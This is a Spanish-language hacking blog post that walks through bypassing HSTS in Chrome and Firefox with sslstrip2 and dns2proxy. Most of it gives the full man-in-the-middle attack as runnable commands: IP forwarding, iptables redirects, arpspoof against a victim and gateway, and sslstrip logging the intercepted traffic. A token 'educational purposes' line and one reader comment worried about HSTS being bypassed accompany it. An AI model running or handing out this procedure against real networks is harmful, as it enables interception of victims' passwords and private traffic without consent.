Evadiendo HSTS en CHROME y FIREFOX con sslstrip2
Había una vez, hace no mucho tiempo. Un mundo en el que la información transmitida por Internet viajaba en texto plano, Por lo cual cualquier sniffer como cain, ettercap, etc podían Fácilmente interceptar tu información, obtener tus contraseñas de facebook, hotmail, gmail y espiarte a diestra y siniestra.
Para mitigar este gran problema de seguridad decidieron implementar un protocolo mucho mas seguro llamado HTTPS que lo que hace es cifrar la información en SSL. En poco tiempo muchas paginas importantes como entidades bancarias, Paginas de servicios, gmail, hotmail, facebook, etc, Migraron a este protocolo.
Por un tiempo todo funcionó a la perfección. nadie podía sniffear los datos de las paginas cifradas en HTTPS. pero eso cambió en 2009 cuando en una conferencia llamada Black Hat se presentó una herramienta bastante curiosa llamada SSLSTRIP... ¿Que hace esta Herramienta?.
Lo que hace es que reemplaza todas las peticiones HTTPS A HTTP y luego hace MITM entre el cliente y servidor, permitiendo al atacante abolir el protocolo HTTPS y hacer que los datos viajen en texto plano.
Por años se podían sniffear los datos de las paginas aun en HTTPS, por eso es que después
se implementó un nuevo mecanismo de política de seguridad llamado HSTS que lo que hace es que informa al navegador que las conexiones siempre se deben dar bajo SSL/TLS, esta medida de seguridad fue implementada en muchas paginas web pero no solo eso, con el paso del tiempo los navegadores CHROME y FIREFOX incluyeron esta política en sus navegadores por lo que la herramienta SSLSTRIP dejó de ser efectiva para estos navegadores, Solo seguía funcionando en Internet explorer.
Pero hace unos meses LeonardoNve lanzó una versión modificada de SSLSTRIP a la cual llamó "SSLSTRIP2" . Esta nueva versión permite evadir las normas de seguridad HSTS y con la ayuda de otra herramienta llamada dns2proxy Permite hacer lo que hasta hoy era imposible: Sniffear conexiones en navegadores como FIREFOX y CHROME.
A continuación te muestro como llevar a cabo esta técnica no sin antes recordarte que esto es con fines Educativos.
Lo primero que necesitaras serán las 2 herramientas antes mencionadas sslstrip2 y dns2proxy
las 2 las puedes descargar directamente desde aquí:
https://github.com/LeonardoNve
una vez descomprimidas puedes escoger entre Instalar sslstrip2 o Ejecutarla directamente
Para instalarlo solo basta ejecutar el archivo setup.py de la siguiente manera:
python setup.py install
si tenías una versión anterior la remplazará.
Ahora si comencemos el Ataque:
Primero necesitamos activar el ip forward con el siguiente comando:
echo "1" > /proc/sys/net/ipv4/ip_fordward
agregamos estas reglas de iptables:
iptables --flush
iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
Iniciamos arpspoof
arpspoof -i eth0 -t IP-VICTIMA IP-GATEWAY
arpspoof -i eth0 -t GATEWAY IP-VICTIMA
Una vez hecho eso solo es cuestión de iniciar sslstrip
sslstrip -l 9000 -a -w log.txt
y por ultimo para que funcione el ataque debemos de correr dns2proxy que crea un falso servidor DNS e interactua con iptables para reenviar las conecciónes:
python dns2proxy
listo .. con esto toda la información del objetivo llegará a nosotros en texto plano.
solo queda abrir el archivo log.txt que generó sslstrip y ahí estará toda la información.
Aquí les dejo un vídeo del proceso.
Autor: denx0
1 comentarios:
Write comentariosDios mio, nosotros implementamos HSTS esperando solucionar este problema, sin embargo veo que HSTS también puede ser saltado.... Un riesgo adicional para nuestro negocio que esperamos que se pueda encontrar una solución pronta
Reply